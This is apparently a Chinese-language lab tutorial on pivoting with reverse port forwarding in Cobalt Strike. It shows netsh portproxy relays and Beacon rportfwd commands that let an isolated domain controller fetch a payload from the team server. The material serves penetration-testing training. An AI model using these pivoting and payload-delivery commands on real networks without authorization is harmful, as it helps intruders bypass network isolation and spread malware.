端口转发
端口转发是计算机网络中使用的一种技术,允许外部设备连接到专用网络内的特定设备,这是通过将通信请求从一个 IP 地址和端口号转发到另一个 IP 地址和端口号来实现的。而在跳板 (Pivoting) 的上下文中,攻击者可以通过端口转发技术来绕过网络限制访问其他的主机。
一个实际的例子,攻击者攻陷了边界主机 B,并且实现了对内部网络其他主机的代码执行能力。当攻击者试图让内部主机 C 运行 Beacon 并获得会话的时候发现主机 C 不能与互联网通信,即无法连接到我们的转发器 A 上。因为 B 与 C 有着共同的网卡接口,因此内部网络的访问控制相对宽松,B 与 C 之间有着能互相通信的端口,而 B 能与转发器 A 直接通信,因此攻击者可以将 B 作为 A 与 C 之间的中继主机。
以上是个很实际的情况,在我们的靶场中,为了降低复杂度,并没有设置诸多基于网络的访问控制,即一切都是最理想的情况。例如 white-bird 域中,Web02 是边界主机,如果 Dc05 不能连接互联网,那么我们可以将 转发器的 443 端口逆向转发到 Web02 上。这样,当 Dc05 访问 Web02 的 443端口时,就像在直接访问转发器的 443 端口。
逆向端口转发可以使一台主机将传入的数据重定向到特定的IP和端口。这可以使得主机绕过防火墙以及其他的网络隔离限制,与原本不能通信的节点通信。
举个例子,A与B能互相通信,B与C能互相通信,但A与C不能
逆向端口转发可以使B作为中继,让A与C通过B来完成通信
主要有两种方法可以帮助我们实现逆向端口转发
netsh与C2框架自带的逆向端口转发功能
示意图
编写一个powershell脚本来测试连通
这个脚本绑定了4444端口,如果有任何外来通信连接到该端口,那么会输出消息
在cyberbotic.io的dc-1主机上试图连接subsidiary.external的主机,使用Test-NetConnection测试连通性,目前是无法连通
在中继主机dc-2上,使用netsh工具创建一个v4tov4代理:netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.14.55 connectport=4444 protocol=tcp
执行后不会有任何输出,但可以通过命令:netsh interface portproxy show v4tov4来确认添加的代理
接着,在dc-1主机上尝试连接中继主机dc-2的4444端口,也就是设置了代理的端口,我们会发现ad主机上显示有客户端进行了连接
因此,通过netsh设置v4tov4的代理,我们能让原本不能互相通信的subidiary.external与cyberbotic.io通过dev.cyberbotic.io中继来互相通信了
移除v4tov4代理可以用如下命令:netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
需要管理员特权,且是套接字之间的连接,不适用于网络设备
接下来我们来看Beacon交互中的rportfwd命令。我们知道,载荷是可以通过TS的Web进行发放的,如果目标主机不能直接访问到TS或者TS的Web端口,我们可以使用rportfwd命令来实现逆向端口转发
举个例子
TS:80 <=> Beacon1:8080 <=> Beacon2
Beacon1可以与TS互相通信,Beacon2无法连接与TS的80端口互相通信,那么我们可以在Beacon1中输入命令:rportfwd 8080 TS.IP 80
在dc-2主机上访问TS使用Web部署的载荷:iwr http:// 10.10.5.120/a
结果是无法连通。我们在WKSTN-1的Beacon中执行rportfwd 8080 10.10.5.120 80,因为WKSTN-1既可以与TS互相连通,也可以与dc-2互相连通。这样dc-2的请求可以通过WKSTN-1的8080端口转发到TS的80端口,反之亦然。
在dc-2上访问wkstn-1的8080端口:iwr http://10.10.17.231:8080/a
这次,我们能在TS的Web log中看到dc-2的访问记录了
如果要停止,使用命令:rportfwd stop 8080
值得注意的是
1:Beacon的逆向端口代理总是将数据隧道至TS,以及使TS将数据送到目标。不应该被用于中继单独主机的流量
2:数据被隧道至Beacon的C2数据,而不是独立的套接字
3:当端口数值高的话,不需要管理员特权
rportfwd_local类似于rportfwd,区别是该命令将数据隧道至运行CS客户端的主机,而不是TS。如果我们想用Kali上的工具执行任务,会很方便
我们可以在Kali主机上用Python开启一个不同于80端口的Web服务器,以此来验证rportfwd_local与rportfw的不同